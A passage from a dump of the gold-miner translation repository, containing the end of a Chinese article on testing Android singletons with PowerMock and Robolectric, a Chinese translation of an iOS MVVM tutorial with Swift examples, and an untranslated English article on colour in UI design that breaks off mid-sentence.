1\. you stub either of: final/private/equals()/hashCode() methods. Those methods *cannot* be stubbed/verified. Mocking methods declared on non-public parent classes is not supported. 2\. inside when() you don't call method on mock but on some other object. 这是因为 Mockito 不能模拟一个静态方法,在这个例子里就是 `getInstance()` 方法。 ### 第二步 : 使用 PowerMock 还好我知道 PowerMock 可以模拟静态方法,所以我想换到 PowerMock 试试。 @RunWith(PowerMockRunner.class) @PrepareForTest(FooManager.class) public class FooManagerTest { @Test public void testSingleton(){ FooManager mgr = Mockito.mock(FooManager.class); PowerMockito.mockStatic(FooManager.class); Mockito.when(FooManager.getInstance()).thenReturn(mgr); FooManager actual = FooManager.getInstance(); assertEquals(mgr, actual); } } 是的,我成功了。但必须要注意上面这些代码只有在你的项目是个纯 Java 项目而不是 Android 项目时才能成功。如果想要测试 Android 项目的代码,还会遇到一些其他的问题。 ## 测试 Android 代码 ### 第三步 : 用单元测试来测试 Android 代码 你也许会想到,因为 Android 项目也是用 Java 写的,所以应该也可以在 `$module$/src/test` 目录里写单元测试的用例。 但是真的可以么?我们来看一个用 JUnit Test 来测试 Android 库代码的例子。 @Test public void testAndroidCode(){ instance.setArgu(argu); instance.doSomething(); verify(argu).isCalled(); } 然而,你可能会遇到一个报错: `java.lang.NoClassDefFoundError: org/apache/http/cookie/Cookie` 除此之外,也可能找不到其他的类,比如 `android/util/Log`, `android/content/Context` 等等。 之所以会报 `NoClassDefFoundError` 错误是因为 JUnit 运行在 JVM 环境,也就是说 JUnit 没有 Android 运行环境。 其实有一个官方的 Android 环境下的测试方案:[Instrumentation 测试](https://developer.android.com/training/testing/unit-testing/instrumented-unit-tests.html)。 但这并不是我们真正想要的。每次运行 Instrumentation 测试,都必须构建整个项目并把 APK 文件推送到手机设备或者模拟器里。所以,这样测试会很慢。并不像 JUnit 那样可以直接在电脑上运行(PC/Mac/Linux)而且并不需要 Android 运行环境。结果就是在电脑上运行 JUnit 测试会比 Instrumentation 测试快得多。 有没有一个方案既包含 Android 环境又能在电脑上运行还能快速的执行测试?当然有,不然我写这篇文章干嘛,答案就是 **Robolectric**! ### 第四步 : Robolectric 前面已经说过,在 Android 模拟器或者物理设备上运行测试是很慢的。构建、部署和启动应用通常要花费 1 分钟或者更久,这样没办法做 TDD(Test-driven development 测试驱动的开发)。 [Robolectric](http://robolectric.org/) 是一个让你可以直接在 IDE 里运行 Android 测试的框架。 [Robolectric](http://robolectric.org/) 做了什么?这有点复杂,不过可以简单的认为 Robolectric 封装了一个 Android.jar 文件在其内部。这样就拥有了 Android 运行环境,因此也就可以在电脑上运行 Android 代码的测试。 下面是一个 Robolectric 的例子: @RunWith(RobolectricTestRunner.class) public class MyActivityTest { @Test public void clickingButton_shouldChangeResultsViewText() throws Exception { MyActivity activity = Robolectric.setupActivity(MyActivity.class); Button button = (Button) activity.findViewById(R.id.button); TextView results = (TextView) activity.findViewById(R.id.results); button.performClick(); assertThat(results.getText().toString()).isEqualTo("Robolectric Rocks!"); } } 回到主题,在 Robolectric 的帮助下,我们终于可以直接在电脑环境里测试自己的服务,而且还很快。 ### 结论 01 我介绍了如何使用 Robolectric 来快速的测试 Android 代码,以及如何在 Java 环境里模拟单例模式。 但我必须得提醒一下,目前我们仍然无法在 Android 环境里成功的模拟单例模式。我将在下一篇文章里讨论如何解决这个问题。 [如何测试 Android 服务里的单例模式(2)](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-test-a-singleton-in-an-android-service-2.md) ================================================ FILE: TODO/how-to-use-a-model-view-viewmodel-architecture-for-ios.md ================================================ > * 原文地址:[How not to get desperate with MVVM implementation](https://medium.com/flawless-app-stories/how-to-use-a-model-view-viewmodel-architecture-for-ios-46963c67be1b) > * 原文作者:[S.T.Huang](https://medium.com/@koromikoneo?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-a-model-view-viewmodel-architecture-for-ios.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-a-model-view-viewmodel-architecture-for-ios.md) > * 译者:[JayZhaoBoy](https://github.com/JayZhaoBoy) > * 校对者:[swants](https://github.com/swants),[ryouaki](https://github.com/ryouaki) # 不再对 MVVM 感到绝望 ![](https://cdn-images-1.medium.com/max/2000/1*jYS00y2Ml9GgtBq6EDHR2w.png) 让我们想象一下,你有一个小项目,通常在短短两天内你就可以提供新的功能。然后你的项目变得越来越大。完成日期开始变得无法控制,从2天到1周,然后是2周。它会把你逼疯!你会不断抱怨:一件好产品不应该那么复杂!然而这正是我所面对过的,对我来说那确实是一段糟糕的经历。现在,在这个领域工作了几年,与许多优秀的工程师合作过,让我真正意识到使代码变得如此复杂的并不是产品设计,而是我。 我们都有过因为编写面条式代码而损害我们项目的经历。问题是我们该如何去修复它?一个好的架构模式可能会帮到你。在这篇文章中,我们将要谈论一个好的架构模式:Model-View-ViewModel (MVVM)。MVVM 是一种专注于将用户界面开发与业务逻辑开发实现分离的 iOS 架构趋势。 「好架构」这个词听起来太抽象了。你会感到无从下手。这里有一点建议:不要把重点放在体系结构的定义上,我们可以把重点放在如何**提高代码的可测试性上**。现如今有很多软件架构,比如 MVC、MVP、MVVM、VIPER。很明显,我们可能无法掌握所有这些架构。但是,我们要记住一个简单的原则:不管我们决定使用什么样的架构,最终的目标都是使测试变得更简单。因此写代码之前我们要根据这一原则进行思考。我们强调如何直观的进行责任分离。此外,保持这种思维模式,架构的设计就会变得很清晰、合理,我们就不会再陷入琐碎的细节。 #### 太长(若)不看(请看这里) 在这篇文章中,你将学到: * 我们之所以选择 MVVM 而不是 Apple MVC * 如何根据 MVVM 设计更清晰的架构 * 如何基于 MVVM 编写一个简单的实际应用程序 你不会看到: * MVVM、VIPER、Clean等架构之间的比较 * 一个能解决所有问题的万能方案 所有这些架构都有优点和缺点,但都是为了使代码变得更简单更清晰。所以我们决定把重点放在**为什么**我们选择 MVVM 而不是 MVC,以及我们**如何**从 MVC 转到 MVVM。如果您对 MVVM 的缺点有什么观点,请参阅本文最后的讨论。 让我们开始吧! #### Apple MVC MVC (Model-View-Controller) 是苹果推荐的架构模式。定义以及 MVC 中对象之间的交互如下图所示: ![](https://cdn-images-1.medium.com/max/800/1*la8KCs0AKSzVGShoLQo2oQ.png) 在 iOS/MacOS 的开发中,由于引入了 ViewController,通常会变成: ![](https://cdn-images-1.medium.com/max/800/1*8XM4gfWIvaOl8kHiNlxLeg.png) ViewController 包含 View 和 Model。问题是我们通常都会在 ViewController 中编写控制器代码和视图层代码。它使 ViewController 变得太复杂。这就是为什么我们把它称为 Massive View Controller(臃肿的视图控制)。在为 ViewController 编写测试的同时,你需要模拟视图及其生命周期。但视图很难被模拟。如果我们只想测试控制器逻辑,我们实际上并不想模拟视图。所有这些都使得编写测试变得如此复杂。 所以 MVVM 来拯救你了。 #### MVVM — Model — View — ViewModel MVVM 是由 [John Gossman](https://blogs.msdn.microsoft.com/johngossman/2005/10/08/introduction-to-modelviewviewmodel-pattern-for-building-wpf-apps/) 在 2005 年提出的。MVVM 的主要目的是将数据状态从 View 移动到 ViewModel。MVVM 中的数据传递如下图所示: ![](https://cdn-images-1.medium.com/max/800/1*8MiNUZRqM1XDtjtifxTSqA.png) 根据定义,View 只包含视觉元素。在视图中,我们只做布局、动画、初始化 UI 组件等等。View 和 Model 之间有一个称为 ViewModel 的特殊层。ViewModel 是 View 的标准表示。也就是说,ViewModel 提供了一组接口,每个接口代表 View 中的 UI 组件。我们使用一种称为「绑定」的技术将 UI 组件连接到 ViewModel 接口。因此,在 MVVM 中,我们不直接操作 View,而是通过处理 ViewModel 中的业务逻辑从而使视图也相应地改变。我们会在 ViewModel 而不是 View 中编写一些显示性的东西,例如将 Date 转换为 String。因此,不必知道 View 的实现就可以为显示的逻辑编写一个简单的测试。 让我们回过头再看看上面的图。通常情况下,ViewModel 从 View 接收用户交互,从 Model 中提取数据,然后将数据处理为一组即将显示的相关属性。在 ViewModel 变化后,View 就会自动更新。这就是 MVVM 的全部内容。 具体来说,对于 iOS 开发中的 MVVM,UIView/UIViewController 表示 View。我们只做: 1. 初始化/布局/呈现 UI 组件。 2. 用 ViewModel 绑定 UI 组件。 另一方面,在 ViewModel 中,我们做: 1. 编写控制器逻辑,如分页,错误处理等。 2. 写显示逻辑,提供接口到视图。 你可能会注意到这样 ViewModel 会变得有点复杂。在本文的最后,我们将讨论 MVVM 的缺点。但无论如何,对于一个中等规模的项目来说,想一点一点完成目标,MVVM 仍然是一个很棒的选择。 在接下来的部分,我们将使用 MVC 模式编写一个简单的应用程序,然后描述如何将应用程序重构为 MVVM 模式。带有单元测试的示例项目可以在我的 GitHub 上找到: - [**koromiko/Tutorial**: _Tutorial - Code for https://koromiko1104.wordpress.com_github.com](https://github.com/koromiko/Tutorial/tree/master/MVVMPlayground) 让我们开始吧! ### 一个简单的画廊 app — MVC 我们将编写一个简单的应用程序,其中: 1. 该应用程序从 API 中获取 500px 的照片,并在 UITableView 中列出照片。 2. tableView 中的每个 cell 显示标题、说明和照片的创建日期。 3. 用户不能点击未标记为「for_sale」的照片。 在这个应用程序中,我们有一个名为 **Photo** 的结构,它代表一张照片。下面是我们的 **Photo** 类: ``` struct Photo { let id: Int let name: String let description: String? let created_at: Date let image_url: String let for_sale: Bool let camera: String? } ``` 该应用程序的初始视图控制器是一个包含名为 **PhotoListViewController** 的 tableView 的 UIViewController。我们通过 **PhotoListViewController** 中的 **APIService**获取**Photo** 对象,并在获取照片后重新载入 tableView: ``` self?.activityIndicator.startAnimating() self.tableView.alpha = 0.0 apiService.fetchPopularPhoto { [weak self] (success, photos, error) in DispatchQueue.main.async { self?.photos = photos self?.activityIndicator.stopAnimating() self?.tableView.alpha = 1.0 self?.tableView.reloadData() } } ``` **PhotoListViewController** 也是 tableView 的一个数据源: ``` func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { // .................... let photo = self.photos[indexPath.row] //Wrap the date let dateFormateer = DateFormatter() dateFormateer.dateFormat = "yyyy-MM-dd" cell.dateLabel.text = dateFormateer.string(from: photo.created_at) //..................... } func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return self.photos.count } ``` 在 **func tableView(_ tableView:UITableView,cellForRowAt indexPath:IndexPath) - > UITableViewCell** 中,我们选择相应的 **Photo** 对象并将标题、描述和日期分配给一个 cell。由于 **Photo**.date 是一个 Date 对象,我们必须使用 DateFormatter 将其转换为一个 String。 以下代码是 tableView 委托的实现: ``` func tableView(_ tableView: UITableView, willSelectRowAt indexPath: IndexPath) -> IndexPath? { let photo = self.photos[indexPath.row] if photo.for_sale { // If item is for sale self.selectedIndexPath = indexPath return indexPath }else { // If item is not for sale let alert = UIAlertController(title: "Not for sale", message: "This item is not for sale", preferredStyle: .alert) alert.addAction( UIAlertAction(title: "Ok", style: .cancel, handler: nil)) self.present(alert, animated: true, completion: nil) return nil } } ``` 我们在 **func tableView(_ tableView:UITableView,willSelectRowAt indexPath:IndexPath) - > IndexPath** 中选择相应的 Photo 对象,检查 **for_sale** 属性。如果是 ture,就保存到 **selectedIndexPath**。如果是 false,则显示错误消息并返回 nil。 **PhotoListViewController** 的源码在[这里](https://github.com/koromiko/Tutorial/blob/MVC/MVVMPlayground/MVVMPlayground/Module/PhotoList/PhotoListViewController.swift),请参考标签「MVC」。 那么上面的代码有什么问题呢?在 **PhotoListViewController** 中,我们可以找到显示的逻辑,如将 Date 转换为 String 以及何时启动/停止活动指示符。我们也有 Veiw 层代码,如显示/隐藏 tableView。另外,在视图控制器中还有另一个依赖项 ,API 服务。如果你打算为**PhotoListViewController**编写测试,你会发现你被卡住了,因为它太复杂了。我们必须模拟 **APIService**,模拟 tableView 以及 cell 来测试整个 **PhotoListViewController**。唷! 记住,我们想让测试变得更容易?让我们试试 MVVM 的方法! #### 尝试 MVVM 为了解决这个问题,我们的首要任务是整理视图控制器,将视图控制器分成两部分:View 和 ViewModel。具体来说,我们要: 1. 设计一组绑定的接口。 2. 将显示逻辑和控制器逻辑移到 ViewModel。 首先,我们来看看 View 中的 UI 组件: 1. activity Indicator (加载/结束) 2. tableView (显示/隐藏) 3. cells (标题,描述,创建日期) 所以我们可以将 UI 组件抽象为一组规范化的表示: ![](https://cdn-images-1.medium.com/max/800/1*ktmfaTJajU0NYrCBq8iqnA.png) 每个 UI 组件在 ViewModel 中都有相应的属性。可以说我们在 View 中看到的应该和我们在 ViewModel 中看到的一样。 但是我们该如何绑定呢? #### Implement the Binding with Closure 在 Swift 中,有很多方式来实现「绑定」: 1. 使用 KVO (Key-Value Observing) (键值观察)模式。 2. 使用第三方库 FRP (函数式响应编程) 例如 RxSwift 和 ReactiveCocoa。 3. 自己定制。 使用 KVO 模式是个不错的注意, 但它可能会创建大量的委托方法,我们必须小心 addObserver/removeObserver,这可能会成为 View 的一个负担。理想的方法是使用 FRP 中的绑定方案。如果你熟悉函数式响应编程,那就放手去做吧!如果不熟悉的话,那么我不建议使用 FRP 来实现绑定,这样子就太大材小用了。[Here](http://five.agency/solving-the-binding-problem-with-swift/) 是一个很好的文章,谈论使用装饰模式来自己实现绑定。在这篇文章中,我们将把事情简单化。我们使用闭包来实现绑定。实际上,在 ViewModel 中,绑定接口/属性如下所示: ``` var prop: T { didSet { self.propChanged?() } } ``` 另一方面,在 View 中,我们为 propChanged 指定一个作为值更新回调的闭包。 ``` // When Prop changed, do something in the closure viewModel.propChanged = { in DispatchQueue.main.async { // Do something to update view } } ``` 每次属性 prop 更新时,都会调用 propChanged。所以我们就可以根据 ViewModel 的变化来更新 View。很简单,对吗? #### 在 ViewModel 中进行绑定的接口 现在,让我们开始设计我们的 ViewModel,**PhotoListViewModel**。给定以下三个UI组件: 1. tableView 2. cells 3. activity indicator 我们在 **PhotoListViewModel** 中创建绑定的接口/属性: ``` private var cellViewModels: [PhotoListCellViewModel] = [PhotoListCellViewModel]() { didSet { self.reloadTableViewClosure?() } } var numberOfCells: Int { return cellViewModels.count } func getCellViewModel( at indexPath: IndexPath ) -> PhotoListCellViewModel var isLoading: Bool = false { didSet { self.updateLoadingStatus?() } } ``` 每个 **PhotoListCellViewModel** 对象在 tableView 中形成一个规范显示的 cell。它提供了用于渲染 UITableView cell 的数据接口。我们把所有的 **PhotoListCellViewModel** 对象放入一个数组 **cellViewModels** 中,cell 的数量恰好是该数组中的项目数。我们可以说数组 **cellViewModels** 表示 tableView。一旦我们更新 ViewModel 中的 **cellViewModels**,闭包 **reloadTableViewClosure** 将被调用并且 View 将进行相应地更新。 一个简单的 **PhotoListCellViewModel** 如下所示: ``` struct PhotoListCellViewModel { let titleText: String let descText: String let imageUrl: String let dateText: String } ``` 正如你所看到的,**PhotoListCellViewModel** 提供了绑定到 View 中的 UI 组件接口的属性。 #### 将 View 与 ViewModel 绑定 有了绑定的接口,现在我们将重点放在 View 部分。首先,在 **PhotoListViewController** 中,我们初始化 viewDidLoad 中的回调闭包: ``` viewModel.updateLoadingStatus = { [weak self] () in DispatchQueue.main.async { let isLoading = self?.viewModel.isLoading ?? false if isLoading { self?.activityIndicator.startAnimating() self?.tableView.alpha = 0.0 }else { self?.activityIndicator.stopAnimating() self?.tableView.alpha = 1.0 } } } viewModel.reloadTableViewClosure = { [weak self] () in DispatchQueue.main.async { self?.tableView.reloadData() } } ``` 然后我们要重构数据源。在 MVC 模式中,我们在 **func tableView(_ tableView:UITableView,cellForRowAt indexPath:IndexPath) - > UITableViewCell** 中设置了显示逻辑,现在我们必须将显示逻辑移动到 ViewModel。重构的数据源如下所示: ``` func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { guard let cell = tableView.dequeueReusableCell(withIdentifier: "photoCellIdentifier", for: indexPath) as? PhotoListTableViewCell else { fatalError("Cell not exists in storyboard")} let cellVM = viewModel.getCellViewModel( at: indexPath ) cell.nameLabel.text = cellVM.titleText cell.descriptionLabel.text = cellVM.descText cell.mainImageView?.sd_setImage(with: URL( string: cellVM.imageUrl ), completed: nil) cell.dateLabel.text = cellVM.dateText return cell } ``` 数据流现在变成: 1. PhotoListViewModel 开始获取数据。 2. 获取数据后,我们创建 **PhotoListCellViewModel** 对象并更新 **cellViewModels**。 3. **PhotoListViewController** 被通知更新,然后使用更新后的 **cellViewModels** 布局 cells。 如下图所示: ![](https://cdn-images-1.medium.com/max/800/1*w4bDvU7IlxOpQZNw49fmyQ.png) #### 处理用户交互 我们来看看用户交互。在 **PhotoListViewModel** 中,我们创建一个函数: ``` func userPressed( at indexPath: IndexPath ) ``` 当用户点击单个 cell 时,**PhotoListViewController** 使用此函数通知 **PhotoListViewModel**。所以我们可以在 **PhotoListViewController** 中重构委托方法: ``` func tableView(_ tableView: UITableView, willSelectRowAt indexPath: IndexPath) -> IndexPath? { self.viewModel.userPressed(at: indexPath) if viewModel.isAllowSegue { return indexPath }else { return nil } } ``` 这意味着一旦 **func tableView(_ tableView:UITableView,willSelectRowAt indexPath:IndexPath) - > IndexPath** 被调用,则该操作将被传递给 **PhotoListViewModel**。委托函数根据由 **PhotoListViewModel** 提供的 isAllowSegue 属性决定是否继续。我们就成功地从视图中删除了状态。🍻 #### PhotoListViewModel 的实现 这是一个漫长的过程,对吧?耐心点,我们已经触及到了 MVVM 的核心! 在 **PhotoListViewModel** 中,我们有一个名为 **cellViewModels** 的数组,它表示 View 中的 tableView。 ``` private var cellViewModels: [PhotoListCellViewModel] = [PhotoListCellViewModel]() ``` 我们如何获取并排列数据呢?实际上我们在 ViewModel 的初始化中做了两件事: 1. 注入依赖项目:**APIService** 2. 使用 **APIService** 获取数据 ``` init( apiService: APIServiceProtocol ) { self.apiService = apiService initFetch() } func initFetch() { self.isLoading = true apiService.fetchPopularPhoto { [weak self] (success, photos, error) in self?.processFetchedPhoto(photos: photos) self?.isLoading = false } } ``` 在上面的代码片段中,我们将属性 isLoading 设置为 true,然后开始从 **APIService** 中获取数据。由于我们之前所做的绑定,将 isLoading 设置为 true 意味着视图将切换活动指示器。在 **APIService** 的回调闭包中,我们处理提取的照片 models 并将 isLoading 设置为 false。我们不需要直接操作 UI 组件,但很显然,当我们改变 ViewModel 的这些属性时,UI 组件就会像我们所期望的那样工作。 这里是 **processFetchedPhoto( photos: [Photo] )** 的实现: ``` private func processFetchedPhoto( photos: [Photo] ) { self.photos = photos // Cache var vms = [PhotoListCellViewModel]() for photo in photos { vms.append( createCellViewModel(photo: photo) ) } self.cellViewModels = vms } ``` 它做了一个简单的工作,将照片 models 装成一个 **PhotoListCellViewModel** 数组。当更新 **cellViewModels** 属性时,View 中的 tableView 会相应的更新。 耶,我们完成了 MVVM 🎉 示例应用程序可以在我的 GitHub 上找到: - [**koromiko/Tutorial**](https://github.com/koromiko/Tutorial/tree/MVC/MVVMPlayground) 如果你想查看 MVC 版本(标签:MVC),然后 MVVM(最新的提交) #### Recap 在本文中,我们成功地将一个简单的应用程序从 MVC 模式转换为 MVVM 模式。我们: * 使用闭包创建绑定主题。 * 从 View 中删除了所有的控制器逻辑。 * 创建了一个可测试的 ViewModel。 #### 探讨 正如我上面提到的,架构都有优点和缺点。在阅读我的文章之后,如果你对 MVVM 的缺点有一些看法。这里有很多关于 MVVM 缺点的文章,比如: [MVVM is Not Very Good — Soroush Khanlou](http://khanlou.com/2015/12/mvvm-is-not-very-good/) [The Problems with MVVM on iOS — Daniel Hall](http://www.danielhall.io/the-problems-with-mvvm-on-ios) 我最关心的是 MVVM 中 ViewModel 做了太多的事情。正如我在本文中提到的,我们在 ViewModel 中有控制器和演示器。此外,MVVM 模式中不包括构建器和路由器。我们通常把构建器和路由器放在 ViewController 中。如果你对更清晰的解决方案感兴趣,可以了解 MVVM + FlowController ([Improve your iOS Architecture with FlowControllers](http://merowing.info/2016/01/improve-your-ios-architecture-with-flowcontrollers/)) 和两个着名的架构,[VIPER](https://www.objc.io/issues/13-architecture/viper/) 和 [Clean by Uncle Bob](https://hackernoon.com/introducing-clean-swift-architecture-vip-770a639ad7bf). #### 从小处着手 总会存在更好的解决方案。作为专业的工程师,我们一直在学习如何提高代码质量。许多像我一样的开发者曾经被这么多架构所淹没,不知道如何开始编写单元测试。所以 MVVM 是一个很好的开始。很简单,可测试性还是很不错的。在另一篇 Soroush Khanlou 的文章中,[8 Patterns to Help You Destroy Massive View Controller](http://khanlou.com/2014/09/8-patterns-to-help-you-destroy-massive-view-controller/),这里有有很多好的模式,其中一些也被MVVM所采用。与其受一个巨大的架构所阻碍,我们何不开始用小而强大的 MVVM 模式开始编写测试呢? > “The secret to getting ahead is getting started.” — Mark Twain 在下一篇文章中,我将继续谈谈如何为我们简单的画廊应用程序编写单元测试。敬请关注! 如果你有任何问题,留下评论。欢迎任何形式的讨论!感谢您的关注。 #### 参考 [Introduction to Model/View/ViewModel pattern for building WPF apps — John Gossman](https://blogs.msdn.microsoft.com/johngossman/2005/10/08/introduction-to-modelviewviewmodel-pattern-for-building-wpf-apps/) [Introduction to MVVM — objc](https://www.objc.io/issues/13-architecture/mvvm/) [iOS Architecture Patterns — Bohdan Orlov](https://medium.com/ios-os-x-development/ios-architecture-patterns-ecba4c38de52) [Model-View-ViewModel with swift — SwiftyJimmy](http://swiftyjimmy.com/category/model-view-viewmodel/) [Swift Tutorial: An Introduction to the MVVM Design Pattern — DINO BARTOŠAK](https://www.toptal.com/ios/swift-tutorial-introduction-to-mvvm) [MVVM — Writing a Testable Presentation Layer with MVVM — Brent Edwards](https://msdn.microsoft.com/en-us/magazine/dn463790.aspx) [Bindings, Generics, Swift and MVVM — Srdan Rasic](http://rasic.info/bindings-generics-swift-and-mvvm/) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-use-colors-in-ui-design.md ================================================ > * 原文地址:[How to use colors in UI Design](https://blog.prototypr.io/how-to-use-colors-in-ui-design-16406ec06753#.tq2uvi1tw) * 原文作者:[Wojciech Zieliński](https://blog.prototypr.io/@acreno) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: * 校对者: # How to use colors in UI Design Practical tips and tools. ![](https://cdn-images-1.medium.com/max/2000/1*9oD9bg_2Lzk96ZQ1zWNofA.png) Color is like everything else, it’s best used in moderation. You will tend to get better results if you stick to max three primary colors in your color scheme. Applying color to a design project has a lot to do with balance and the more colors you use, the more complicated it is to achieve balance. > Color does not add a pleasant quality to design — it reinforces it. > Pierre Bonnard If you need additional colors beyond those you’ve defined in your palette, make use of shades and tints. They will provide a different tone to work with. #### 60–30–10 Rule This interior design rule is a timeless decorating technique that can help you put a color scheme together easily. The 60% + 30% + 10% proportion is meant to give balance to the colors. This formula works because it creates a sense of balance and allows the eye to move comfortably from one focal point to the next. It’s also incredibly simple to use. > 60% is your dominant hue, 30% is secondary color and 10% is for accent color. ![](https://cdn-images-1.medium.com/max/1600/1*0xxsagnyMnsMwHu8unMXrQ.png) Wall paints, furnitures, accesories. #### Color meaning Scientists have studied the physiological effects of certain colors for centuries. Besides aesthetics, colors are the creators of emotions and associations. The meaning of colors can vary depending on culture and circumstances. That’s why you see black&white fashion stores. They want to appear elegant and sublimely. [![](https://cdn-images-1.medium.com/max/1600/1*ujJjQupQ8K4V0jLx-9DyTw.png)](http://www.asos.com/majorelle/majorelle-havana-romper/prd/7313528?iid=7313528&clr=Mint&cid=2623&pgesize=36&pge=0&totalstyles=751&gridsize=3&gridrow=7&gridcolumn=1) Asos is pure black&white with green CTA. It’s made for a reason. - **Red:** Passion, Love, Danger - **Blue:** Calm, Responsible, Safe - **Black:** Mystery, Elegance, Evil - **White:** Purity, Silence, Cleanliness - **Green:** New, Fresh, Nature If you want more check this list — [color culture](http://seopressor.com/wp-content/uploads/2015/06/colour-culture1.png). #### Grayscale first We like to play with colors and tones early in our designs but this behavior can betray you very quickly when you will realize that you’ve spent 3 hours adjusting primary color … It’s really tempting but you should learn to avoid this attitude. Instead force yourself to focus on spacing and laying out elements. It will save you a lot of time. That sort of constraint is very productive. On the flips side, it doesn’t need to look boring. Try different tones if you want to make it good looking. [![](https://cdn-images-1.medium.com/max/2000/1*PHn3cUFzAXIGPgkYHcU_PA.png)](https://dribbble.com/shots/2856867-avsc-wireframes) One of my work that you can find on dribbble. Simple monochromatic colors and focus on elements. #### Stay away from pure grayscale and black One of the most important color tricks I’ve ever learned was to avoid using gray colors without saturation. In real life, pure gray colors almost never exist. The same goes for blacks. ![](https://cdn-images-1.medium.com/max/1600/1*EDsUvHerEgqAO_uGX-EHfg.png) Darkest color on this image is not #000, it’s #0A0A10 Remember to always add a bit of saturation to your color. Subconsciously it will look more natural and familiar to users. ![](https://cdn-images-1.medium.com/max/1600/1*TNerL_olPuxnUN04c-WiNQ.png) --- ![](https://cdn-images-1.medium.com/max/1200/1*Yf1h7jZ-x4L8u6SB1UpDBg.png) #### Believe in nature The best color combinations come from nature. They will always look natural. The best thing about looking to the environment for design solutions is that the palette is always changing. > To get inspired we only need to look around #### Keep the contrast Some colors go well with each other, while others will clash. There are definitive rules for how they will interact that can be best observed on a color wheel. You should be aware of this methods but it’s not necessary to do it manually. ![](https://cdn-images-1.medium.com/max/2000/1*wBgIJcrKQ58KSmLTYMSxOA.jpeg) If you want to learn more about color theory check this article — [Color Theory For Designers: Creating Your Own Color Palettes](https://www.smashingmagazine.com/2010/02/color-theory-for-designer-part-3-creating-your-own-color-palettes/) #### Get inspired When we are talking about UI references then dribbble is the best place for it. It also has tool for searching by colors so when you want to do visual research on how particular color was used by other designers then go here [dribbble.com/colors](https://dribbble.com/colors/) ![](https://cdn-images-1.medium.com/max/1600/1*lQECsRNQv1Amrb4s_CT35g.png) Videos, print design, interior design, fashion… there are so many inspiring places to gather from. Simply don’t be inert to those palettes and save everything that looks interesting. [![](https://cdn-images-1.medium.com/max/800/1*qFM-0R3jWkZCeTDqr_yTKg.png)](https://www.youtube.com/watch?v=fF8l_ePlOH4) [![](https://cdn-images-1.medium.com/max/800/1*tAIY6eDVhqGvdcqhYYMVSw.png)](https://www.youtube.com/watch?v=dISNgvVpWlo) [![](https://cdn-images-1.medium.com/max/800/1*KmdQC4HgNqybXuVTnU4v_A.png)](https://www.youtube.com/watch?v=WkdtmT8A2iY) Often time I like to steal colors from KPOP videoclips. They are *gorgeous*. ### Tools To make things easier, I rounded up some of the best tools for choosing color palettes available in 2017. They will save you a lot of time. #### Coolors.co Definitely my favorite tool for picking colors. You can simply lock selected color and press space to generate palette. Coolors also gives you the ability to upload an image and make a color palette from it. The cool thing about it is that you are not limited to only one outcome but instead you have a picker that allows you to modify reference point. ![](https://cdn-images-1.medium.com/max/1600/1*h0rwE1e1-6HGVMXFIJTeyQ.png) [![](https://i.vimeocdn.com/video/613814638.webp?mw=1400&mh=814&q=70)](https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F200337992&url=https%3A%2F%2Fvimeo.com%2F200337992&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F613814638_960.jpg&key=d04bfffea46d4aeda930ec88cc64b87c&type=text%2Fhtml&schema=vimeo) #### Kuler This tool from *Adobe* has been with us for a long time. It is available in the browser, and in desktop versions. If you’re using the desktop version you can export a color scheme into Photoshop. ![](https://cdn-images-1.medium.com/max/1600/1*NhUjE0XmvzY2fXLDhImNIQ.png) #### Paletton It’s similar to Kuler but the difference is that you are not limited only to 5 tones. Great tool when you have primary colors and want to play with additional tones. ![](https://cdn-images-1.medium.com/max/1600/1*gk_RnbERuLFXkm-qdqad5Q.png) #### Designspiration.net Imagine that you have an idea for your color palette but you want to see examples of this mix. [Designispiration](http://designspiration.net) is a great tool for this. You can pick up to 5 colors and search images that are matching your query. Really good not only for finding images with the specific palette but also for real implementation of them in design. [![](https://i.vimeocdn.com/video/613792304.webp?mw=1400&mh=968&q=70)](https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F200319959&url=https%3A%2F%2Fvimeo.com%2F200319959&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F613792304_960.jpg&key=d04bfffea46d4aeda930ec88cc64b87c&type=text%2Fhtml&schema=vimeo) #### Shutterstock Lab Spectrum You may ask — what if I want to search for photos with my chosen color? Well, Shutterstock has a tool called Spectrum where you can search photos by specific tone. You don’t even need subscription because small preview image with watermark will be enough to generate palette. ![](https://cdn-images-1.medium.com/max/1600/1*Y9YXp4qUmbhWNlyCNsul3g.png) #### Tineye Multicolr But if you want to search mix of colors in the photo and even specify the amount of each one, then Tineye will help you. This website uses a database of 10 million Creative Commons images from Flickr. [![](https://i.vimeocdn.com/video/613819877.webp?mw=1400&mh=932&q=70)](https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F200342210&url=https%3A%2F%2Fvimeo.com%2F200342210&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F613819877_640.jpg&key=d04bfffea46d4aeda930ec88cc64b87c&type=text%2Fhtml&schema=vimeo) ### Final thoughts Color is a tricky concept to master, especially in the digital era. Tips mentioned above will 